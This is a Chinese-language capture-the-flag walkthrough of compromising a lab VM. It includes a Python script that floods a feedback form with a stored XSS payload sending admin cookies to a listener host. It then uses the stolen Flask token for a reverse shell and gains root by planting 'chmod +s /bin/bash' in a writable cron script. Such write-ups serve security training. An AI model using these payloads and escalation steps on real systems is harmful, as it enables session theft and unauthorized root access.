主机发现

```
┌──(root㉿xhh)-[~]
└─# arp-scan -I eth1 -l

192.168.56.135  08:00:27:2c:a6:a6       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.135`

端口扫描

```
┌──(root㉿xhh)-[~]
└─# nmap -p- 192.168.56.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 21:19 CST

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
```

80和5000探测

目录枚举

80端口

```
┌──(root㉿xhh)-[~]
└─# dirsearch -u http://192.168.56.135

[21:22:50] 200 -    2KB - /feedback.php
[21:22:56] 200 -    1KB - /login.php

Task Completed
```

5000端口

```
┌──(root㉿xhh)-[~]
└─# dirsearch -u http://192.168.56.135:5000

[21:24:19] 302 -  199B  - /admin  ->  /login
[21:24:29] 401 -   25B  - /cmd
[21:24:35] 200 -   44B  - /flag
[21:24:41] 200 -  323B  - /login

Task Completed
```

页面信息收集

80端口的/feedback.php

一个留言版，大概率有xss

5000端口的/flag，/cmd

```
┌──(root㉿xhh)-[~]
└─# curl 192.168.56.135:5000/flag
FLAG{fake-3544ec02c4fa719beab84ae74671ffaa}



┌──(root㉿xhh)-[~]
└─# curl 192.168.56.135:5000/cmd
{"error":"Unauthorized"}
```

获取flask_token

攻击脚本

```
import requests
import time

TARGET_URL = "http://192.168.56.135/feedback.php"
# 你监听的地址
CALLBACK_URL = "http://192.168.56.247:8000/log"
# 恶意XSS脚本，提交时会自动把管理员的Cookie发送到你的监听服务器
payload = f"<script>fetch('{CALLBACK_URL}?
c='+encodeURIComponent(document.cookie))</script>"
def attack_loop(delay=5):
    while True:
        try:
            data = {"message": payload}
            resp = requests.post(TARGET_URL, data=data, timeout=10)
            if resp.status_code == 200:
                print("[+] 成功提交恶意留言")
            else:
                print(f"[!] 提交失败，状态码：{resp.status_code}")
        except Exception as e:
            print(f"[!] 请求异常：{e}")
```

```
        time.sleep(delay)
if __name__ == "__main__":
    print("开始循环攻击，按 Ctrl+C 停止")
    attack_loop()
```

```
┌──(root㉿xhh)-[~]
└─# nc -lvnp 8000

GET /log?c=flask_token%3DBearer%20ADMIN_T0K3N_Flask_Dashazi HTTP/1.1
```

得到`flask_token=Bearer ADMIN_T0K3N_Flask_Dashazi`

反弹shell

写个带flask_token的请求，在/cmd执行反弹shell的命令

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/token]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.135] 45520
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

获取到web-data的权限

提权

To catalytic

```
$ su - catalytic
Password: catalytic
id
uid=1000(catalytic) gid=1000(catalytic) groups=1000(catalytic)
```

user.txt

```
cat user.txt
flag{user-caaea73c2af7f9b2391cc15f398b0e74}
```

To root

```
2025/12/15 09:13:03 CMD: UID=0     PID=2      |
2025/12/15 09:13:03 CMD: UID=0     PID=1      | /sbin/init
2025/12/15 09:14:01 CMD: UID=0     PID=16603  | /usr/sbin/CRON -f
2025/12/15 09:14:01 CMD: UID=0     PID=16604  | /usr/sbin/CRON -f
2025/12/15 09:14:01 CMD: UID=0     PID=16605  | /bin/sh -c /usr/bin/python3
/var/www/html/check_messages_cron/check_messages.py
```

看监控发现`/var/www/html/check_messages_cron/check_messages.py`

```
$ ls -al /var/www/html/check_messages_cron/check_messages.py
-rwxr-xr-x 1 www-data www-data 1842 Jul 22 02:03
/var/www/html/check_messages_cron/check_messages.py
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

发现可以修改

```
$ echo "import os" > /var/www/html/check_messages_cron/check_messages.py
$ echo "os.system('chmod +s /bin/bash')" >>
/var/www/html/check_messages_cron/check_messages.py
```

查看/bin/bash

```
$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

执行带SUID权限的/bin/bash

```
/bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)
groups=0(root),33(www-data)
```

root.txt

```
cat root.txt
flag{root-d404401c8c6495b206fc35c95e55a6d5}
```